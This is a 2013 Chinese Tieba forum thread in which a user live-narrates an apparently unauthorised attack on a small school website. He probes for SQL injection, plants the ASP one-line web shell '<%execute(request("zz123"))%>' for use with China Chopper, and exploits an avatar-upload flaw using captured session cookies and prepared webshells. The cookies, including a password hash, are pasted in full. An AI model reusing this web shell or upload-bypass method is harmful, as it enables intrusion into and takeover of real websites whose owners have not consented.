网页资讯视频图片知道文库贴吧地图采购
进入贴吧全吧搜索
csgajcr吧 关注：35贴子：6,297
  • 15回复贴，共1页

【直播】帮球球嘿嘿嘿

只看楼主收藏回复

RT
估计这个站不难，而且通常情况下这种学校的小网站最好弄了。我们学校的特殊，数据库都坏了也没人修，拿到账号密码了却没有验证码（图裂了），这个吊。。
工具：HUC学生组工具包3.0
IP属地:日本1楼2013-09-07 21:03回复
    通常的，试试有没有注入点。
    随便打开一个主题
    看到浏览器栏的地址
    在最后加一英文单引号'
    然后回车，发现又回到主页，证明没有注入点。我又试了试加上and 1=1 和 and 1=2都不行
    IP属地:日本2楼2013-09-07 21:07
    回复
      既然来了，那就注册个账号呗

      asp的网站，用一句话试试
      <%execute(request("zz123"))%>
      成功上去了，然后用 中国菜刀 链接试试
      结果被墙了
      IP属地:日本5楼2013-09-07 21:49
      回复
        论坛有事，明天继续
        IP属地:日本6楼2013-09-07 22:05
        回复
          ...................
          IP属地:河北来自Android客户端7楼2013-09-08 05:30
          回复
            买早饭去，回来继续，dxxo建的站，目测是upface那里有上传漏洞
            IP属地:日本8楼2013-09-08 09:33
            回复
              吃饱咯，开工！~
              IP属地:日本9楼2013-09-08 09:52
              回复
                吃饱咯，开工！~
                经过不停的抓包，终于发现了好东西
                IP属地:日本10楼2013-09-08 10:36
                回复
                  抓包成功
                  IP属地:日本11楼2013-09-08 10:39
                  回复
                    准备好上传用的马，我大马小马图片马都准备了一个，密码是hucxsz

                    好了，开始上传
                    先上传一个正常的头像，让我们知道上传的路径在哪里
                    是bbs/uploadface/
                    工具用明小子，综合上传→自定义上传

                    cookies填上刚才抓包得到的cookies：ylinklinkfylogin=cpb; ASPSESSIONIDSCCCTDSD=PIPLDNOBMAIDONDAJHFJHFMG; cpbhidden=0; fylinklinkfeiyue=userid=26&password=16a0c5afc0ad6ec3&username=zz
                    填好之后
                    IP属地:日本12楼2013-09-08 10:57
                    回复
                      不明觉历
                      IP属地:湖南来自Android客户端13楼2013-09-15 13:33
                      回复
                        看不懂啊，看不懂。
                        IP属地:广东来自Android客户端14楼2013-09-18 22:50
                        回复
                          @csgajcr 已经上传成功了，找不到文件。。
                          I
                          IP属地:日本15楼2013-09-19 19:27
                          收起回复
                            这个是什么东西，我可以来帮倒忙吗？
                            IP属地:湖南来自Android客户端16楼2013-09-19 20:55
                            回复

                              扫二维码下载贴吧客户端

                              下载贴吧APP
                              看高清直播、视频！
                              • 15回复贴，共1页
                              发表回复
                              发贴请遵守贴吧协议及“七条底线”贴吧投诉
                              内  容:
                                查看全部
                              发 表
                              保存至快速回贴

                              发布成功
                              去贴吧APP订阅抽奖结果通知
                              扫码进入贴吧APP
                              ···········
                              开奖后第一时间站内信通知
                              ···········
                              中奖结果全员公示